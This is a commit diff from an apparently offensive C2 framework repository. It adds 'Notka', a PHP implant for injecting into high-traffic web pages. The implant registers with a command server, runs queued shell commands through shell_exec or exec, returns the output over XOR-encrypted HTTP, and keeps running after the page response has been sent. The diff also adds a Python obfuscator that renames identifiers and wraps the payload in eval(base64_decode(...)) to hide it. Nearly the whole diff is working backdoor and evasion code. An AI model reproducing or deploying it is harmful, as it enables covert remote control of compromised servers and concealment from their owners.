mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
Compare commits
3 Commits
381560d782
...
3311f22629
| Author | SHA1 | Date | |
|---|---|---|---|
| 3311f22629 | |||
| 62f9d2b736 | |||
| f45e8b7e77 |
@ -30,4 +30,5 @@ python3 -m http.server # Starts a webserver on port 8000
|
|||||||
|Implant|Description|Language|OS|
|
|Implant|Description|Language|OS|
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
||||||
|`Midas`|Windows trolling utilities|Rust|Windows
|
|`Midas`|Windows trolling utilities|Rust|Windows
|
||||||
|
|`Notka`|PHP implant for running shell commands|PHP|Cross platform|
|
||||||
17
implants/notka/README.md
Normal file
17
implants/notka/README.md
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
# Notka
|
||||||
|
|
||||||
|
A minimal PHP implant meant to be dropeed into a high traffic PHP page. Requesting the page registeres the implant with Altin and runs all commands queued.
|
||||||
|
|
||||||
|
## Config
|
||||||
|
Set the `$server` and `$key` in `notka.php`
|
||||||
|
|
||||||
|
## Obfuscate
|
||||||
|
The payload can be obfuscated by running the `obfuscate.py` script, it will output the obfuscated version to `payload.php`.
|
||||||
|
|
||||||
|
## Deployment
|
||||||
|
The contents of `payload.php` can the be pasted into any PHP page.
|
||||||
|
|
||||||
|
## Commands
|
||||||
|
|Command|Description|Arguments|
|
||||||
|
|---|---|---|
|
||||||
|
|`shell`|Run a command|command: str|
|
||||||
194
implants/notka/notka.php
Normal file
194
implants/notka/notka.php
Normal file
@ -0,0 +1,194 @@
|
|||||||
|
// Config
|
||||||
|
$server = 'http://127.0.0.1:3000';
|
||||||
|
$key = 'asdf';
|
||||||
|
|
||||||
|
// Protocol
|
||||||
|
define('ACTION_CHECKIN', 1);
|
||||||
|
define('ACTION_REGISTER', 2);
|
||||||
|
define('ACTION_TASK_RESULT', 3);
|
||||||
|
|
||||||
|
define('STATUS_ERROR', 0);
|
||||||
|
define('STATUS_CONTINUE', 1);
|
||||||
|
define('STATUS_TASKS', 2);
|
||||||
|
define('STATUS_REGISTER', 3);
|
||||||
|
define('STATUS_INVALID', 4);
|
||||||
|
|
||||||
|
function xor_msg($string, $key) {
|
||||||
|
$result = '';
|
||||||
|
$key_len = strlen($key);
|
||||||
|
for ($i = 0; $i < strlen($string); $i++) {
|
||||||
|
$result .= $string[$i] ^ $key[$i % $key_len];
|
||||||
|
}
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
|
|
||||||
|
function send_request($server, $key, $data) {
|
||||||
|
$context = stream_context_create([
|
||||||
|
'http' => [
|
||||||
|
'method' => 'POST',
|
||||||
|
'header' => "Content-Type: application/json\r\n",
|
||||||
|
'content' => xor_msg(json_encode($data), $key),
|
||||||
|
'timeout' => 10,
|
||||||
|
'ignore_errors' => true,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response = @file_get_contents($server, false, $context);
|
||||||
|
|
||||||
|
if ($response === false || $response === '') {
|
||||||
|
return(null);
|
||||||
|
}
|
||||||
|
|
||||||
|
$decoded = json_decode(xor_msg($response, $key), true);
|
||||||
|
|
||||||
|
if (!is_array($decoded)) {
|
||||||
|
return(null);
|
||||||
|
}
|
||||||
|
|
||||||
|
return($decoded);
|
||||||
|
}
|
||||||
|
|
||||||
|
function build_commands() {
|
||||||
|
return([
|
||||||
|
[
|
||||||
|
'command' => 'shell',
|
||||||
|
'description' => 'Run a shell command on the system',
|
||||||
|
'args' => [
|
||||||
|
[
|
||||||
|
'name' => 'command',
|
||||||
|
'arg_type' => 'str',
|
||||||
|
'description' => 'The command to run',
|
||||||
|
'required' => true
|
||||||
|
]
|
||||||
|
]
|
||||||
|
]
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function send_registration($server, $key) {
|
||||||
|
$data = [
|
||||||
|
'implant_id' => 'notka',
|
||||||
|
'ip' => getHostByName(getHostName()),
|
||||||
|
'action' => ACTION_REGISTER,
|
||||||
|
'registration' => [
|
||||||
|
'os' => php_uname('s'),
|
||||||
|
'commands' => build_commands()
|
||||||
|
]
|
||||||
|
];
|
||||||
|
|
||||||
|
$response = send_request($server, $key, $data);
|
||||||
|
|
||||||
|
if ($response === null || !isset($response['status'])) {
|
||||||
|
return(STATUS_ERROR);
|
||||||
|
}
|
||||||
|
|
||||||
|
return($response['status']);
|
||||||
|
}
|
||||||
|
|
||||||
|
function do_checkin($server, $key) {
|
||||||
|
$data = [
|
||||||
|
'implant_id' => 'notka',
|
||||||
|
'ip' => getHostByName(getHostName()),
|
||||||
|
'action' => ACTION_CHECKIN
|
||||||
|
];
|
||||||
|
|
||||||
|
return(send_request($server, $key, $data));
|
||||||
|
}
|
||||||
|
|
||||||
|
function report_task_result($server, $key, $task_id, $result) {
|
||||||
|
$data = [
|
||||||
|
'implant_id' => 'notka',
|
||||||
|
'ip' => getHostByName(getHostName()),
|
||||||
|
'action' => ACTION_TASK_RESULT,
|
||||||
|
'result' => [
|
||||||
|
'task_id' => $task_id,
|
||||||
|
'result' => $result
|
||||||
|
]
|
||||||
|
];
|
||||||
|
|
||||||
|
return(send_request($server, $key, $data));
|
||||||
|
}
|
||||||
|
|
||||||
|
function run_shell($command) {
|
||||||
|
if (function_exists('shell_exec')) {
|
||||||
|
$output = @shell_exec($command . ' 2>&1');
|
||||||
|
if ($output !== null) {
|
||||||
|
return($output);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (function_exists('exec')) {
|
||||||
|
$lines = [];
|
||||||
|
@exec($command . ' 2>&1', $lines);
|
||||||
|
return(implode("\n", $lines));
|
||||||
|
}
|
||||||
|
|
||||||
|
return('Failed to run command');
|
||||||
|
}
|
||||||
|
|
||||||
|
function run_task($task) {
|
||||||
|
if (!isset($task['task']) || !isset($task['args']) || $task['task'] !== 'shell') {
|
||||||
|
return('Unknown command');
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isset($task['args'][0]) || $task['args'][0] === '') {
|
||||||
|
return('No command provided');
|
||||||
|
}
|
||||||
|
|
||||||
|
return(run_shell($task['args'][0]));
|
||||||
|
}
|
||||||
|
|
||||||
|
function handle_checkin($server, $key, $response) {
|
||||||
|
if ($response === null || !isset($response['status'])) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch ($response['status']) {
|
||||||
|
case STATUS_TASKS:
|
||||||
|
if (!isset($response['tasks']) || !is_array($response['tasks'])) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run every queued command and report the results
|
||||||
|
foreach ($response['tasks'] as $task) {
|
||||||
|
$result = run_task($task);
|
||||||
|
report_task_result($server, $key, $task['task_id'], $result);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case STATUS_REGISTER:
|
||||||
|
// Not registered yet, register and check in again
|
||||||
|
send_registration($server, $key);
|
||||||
|
handle_checkin($server, $key, do_checkin($server, $key));
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function main($server, $key) {
|
||||||
|
// Run in the background: hand the response to the client and keep working
|
||||||
|
ignore_user_abort(true);
|
||||||
|
set_time_limit(0);
|
||||||
|
|
||||||
|
if (function_exists('fastcgi_finish_request')) {
|
||||||
|
fastcgi_finish_request();
|
||||||
|
} else {
|
||||||
|
header('Connection: close');
|
||||||
|
header('Content-Length: 0');
|
||||||
|
while (ob_get_level() > 0) {
|
||||||
|
ob_end_flush();
|
||||||
|
}
|
||||||
|
flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Register (idempotent), then do a single checkin callback
|
||||||
|
$status = send_registration($server, $key);
|
||||||
|
|
||||||
|
if ($status === STATUS_CONTINUE) {
|
||||||
|
handle_checkin($server, $key, do_checkin($server, $key));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main($server, $key);
|
||||||
147
implants/notka/obfuscate.py
Normal file
147
implants/notka/obfuscate.py
Normal file
@ -0,0 +1,147 @@
|
|||||||
|
import re
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import base64
|
||||||
|
|
||||||
|
def random_name(length=8):
|
||||||
|
return ''.join(random.choices(string.ascii_letters, k=length))
|
||||||
|
|
||||||
|
def tokenize_php(code):
|
||||||
|
token_pattern = re.compile(
|
||||||
|
r"""
|
||||||
|
("(?:\\.|[^"])*") | # double quoted string
|
||||||
|
('(?:\\.|[^'])*') | # single quoted string
|
||||||
|
(//[^\n]*\n?) | # single-line comment
|
||||||
|
(/\*.*?\*/) | # multi-line comment
|
||||||
|
(\$[a-zA-Z_]\w*) | # variable
|
||||||
|
([a-zA-Z_]\w*) | # identifier
|
||||||
|
(\s+) | # whitespace
|
||||||
|
(.) # everything else
|
||||||
|
""",
|
||||||
|
re.VERBOSE | re.DOTALL
|
||||||
|
)
|
||||||
|
|
||||||
|
tokens = []
|
||||||
|
for match in token_pattern.finditer(code):
|
||||||
|
tokens.append(match.group(0))
|
||||||
|
return tokens
|
||||||
|
|
||||||
|
|
||||||
|
def obfuscate_php(code: str, wrap_eval=False, one_liner=False) -> str:
|
||||||
|
tokens = tokenize_php(code)
|
||||||
|
|
||||||
|
var_map = {}
|
||||||
|
func_map = {}
|
||||||
|
superglobals = {
|
||||||
|
"$_GET", "$_POST", "$_REQUEST", "$_SERVER",
|
||||||
|
"$_SESSION", "$_COOKIE", "$_FILES", "$_ENV", "$GLOBALS"
|
||||||
|
}
|
||||||
|
|
||||||
|
output = []
|
||||||
|
next_is_function_name = False
|
||||||
|
i = 0
|
||||||
|
|
||||||
|
while i < len(tokens):
|
||||||
|
token = tokens[i]
|
||||||
|
|
||||||
|
# Preserve strings and comments
|
||||||
|
if token.startswith(("'", '"', "//", "/*")):
|
||||||
|
output.append(token)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Detect function keyword
|
||||||
|
if token == "function":
|
||||||
|
next_is_function_name = True
|
||||||
|
output.append(token)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Rename function declaration
|
||||||
|
if next_is_function_name and re.match(r'[a-zA-Z_]\w*', token):
|
||||||
|
if token not in func_map:
|
||||||
|
func_map[token] = random_name()
|
||||||
|
output.append(func_map[token])
|
||||||
|
next_is_function_name = False
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Handle variables
|
||||||
|
if re.match(r'\$[a-zA-Z_]\w*', token):
|
||||||
|
|
||||||
|
original_var = token
|
||||||
|
|
||||||
|
if original_var in superglobals:
|
||||||
|
output.append(original_var)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
if original_var not in var_map:
|
||||||
|
var_map[original_var] = "$" + random_name()
|
||||||
|
|
||||||
|
new_var = var_map[original_var]
|
||||||
|
|
||||||
|
# Detect assignment to string literal
|
||||||
|
j = i + 1
|
||||||
|
while j < len(tokens) and tokens[j].isspace():
|
||||||
|
j += 1
|
||||||
|
|
||||||
|
if j < len(tokens) and tokens[j] == "=":
|
||||||
|
k = j + 1
|
||||||
|
while k < len(tokens) and tokens[k].isspace():
|
||||||
|
k += 1
|
||||||
|
|
||||||
|
if (
|
||||||
|
k < len(tokens)
|
||||||
|
and (tokens[k].startswith('"') or tokens[k].startswith("'"))
|
||||||
|
):
|
||||||
|
string_literal = tokens[k]
|
||||||
|
unquoted = string_literal[1:-1]
|
||||||
|
encoded = base64.b64encode(unquoted.encode()).decode()
|
||||||
|
|
||||||
|
output.append(new_var)
|
||||||
|
output.append("=")
|
||||||
|
output.append(f'base64_decode("{encoded}")')
|
||||||
|
|
||||||
|
i = k + 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
output.append(new_var)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Rename function calls
|
||||||
|
if token in func_map:
|
||||||
|
output.append(func_map[token])
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
output.append(token)
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
result = ''.join(output)
|
||||||
|
|
||||||
|
# -------- MAKE ONE LINER --------
|
||||||
|
if one_liner:
|
||||||
|
# Collapse all whitespace to single spaces
|
||||||
|
result = re.sub(r'\s+', ' ', result)
|
||||||
|
|
||||||
|
# Remove spaces around common operators/punctuation
|
||||||
|
result = re.sub(r'\s*([{}();,=+\-*/<>])\s*', r'\1', result)
|
||||||
|
|
||||||
|
result = result.strip()
|
||||||
|
|
||||||
|
# Optional full script base64 wrap
|
||||||
|
if wrap_eval:
|
||||||
|
encoded = base64.b64encode(result.encode()).decode()
|
||||||
|
result = f'eval(base64_decode("{encoded}"));'
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
payload = open('notka.php', 'r')
|
||||||
|
obfuscated_payload = obfuscate_php(payload.read(), True, True)
|
||||||
|
payload.close()
|
||||||
|
|
||||||
|
output = open('payload.php', 'w')
|
||||||
|
output.write(obfuscated_payload)
|
||||||
|
output.close()
|
||||||
@ -8,7 +8,7 @@ Change the values in `src/config.nim` as needed.
|
|||||||
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
|
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
|
||||||
|
|
||||||
# If compiling for Windows from MacOS or Linux:
|
# If compiling for Windows from MacOS or Linux:
|
||||||
nim c -d:release -d:ssl -o:tombili.exe src/main.nim
|
nim c -d:release -d:mingw -d:ssl -o:tombili.exe src/main.nim
|
||||||
```
|
```
|
||||||
|
|
||||||
## Commands
|
## Commands
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user